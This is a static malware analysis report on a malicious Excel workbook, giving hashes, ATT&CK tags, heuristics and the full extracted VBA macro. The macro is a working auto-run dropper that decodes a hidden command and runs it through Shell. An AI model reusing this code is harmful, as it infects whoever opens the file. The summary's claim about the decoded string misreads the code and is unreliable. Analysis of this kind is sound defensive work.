Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1509ca07d232b2bb…

MALICIOUS

Office (OOXML)

139.5 KB Created: 2020-07-10 12:26:04 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 352819fca33d80c85aa8a14f0d2b2e9d SHA-1: c87a76472062ed6f22896668d59c9c102728da87 SHA-256: 1509ca07d232b2bb379cd9aa007112beae4ca6c88039906f4faa94b8e7ce47f3
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a Workbook_Open macro that utilizes the Shell function to execute a decoded string. The decoded string is '12322342132', which is then passed as an argument to a function that appears to be designed to execute it. This indicates the macro is intended to download and execute a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1809 bytes
SHA-256: dd4186c08c4a8ebf6dd563e411f17ce1c79668b4e8e4b5ee44a902670b2512fb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Shell SPImJRNUVNBCZaerdzBUyHAViqeQDIHBrTtykPHeFBsHUiMDfwcrGMP("12322342132", "848E854150844191909886939489868D8D4F869986414E8699868496958A908F91908D8A849A41839A91829494414E7841698A8585868F414E84908E8E828F8541498F86984E90838B86849541749A9495868E4F6F86954F788683648D8A868F954A4F6590988F8D908285678A8D864948899595915B50509189828F8E868E958A8F89958A868F85828F828F884F84908E508E9085968D8694508E9085809786938A94908F506697868F95647A734F869986484D45868F975B75868E914C487D639382958F869A4F869986484A5C496F86984E70838B868495414E84908E417489868D8D4F6291918D8A8482958A908F4A4F7489868D8D669986849695864945868F975B75868E914C487D639382958F869A4F869986484A")
End Sub
  Function SPImJRNUVNBCZaerdzBUyHAViqeQDIHBrTtykPHeFBsHUiMDfwcrGMP(CodeKey As String, str As String)
        Dim gkHZomSQhGALaBgGNrWPSjtWUywkcfQueENixLoNHlLATXmWzpkUFSS As Integer
        Dim i As Integer
        Dim sStr
        gkHZomSQhGALaBgGNrWPSjtWUywkcfQueENixLoNHlLATXmWzpkUFSS = 4421
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 33)
        Next
        SPImJRNUVNBCZaerdzBUyHAViqeQDIHBrTtykPHeFBsHUiMDfwcrGMP = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: c1e2cfff5db9644ccfb419d155e615f0e2cb3bf7aa4a7b4e256be3c7732f5e1e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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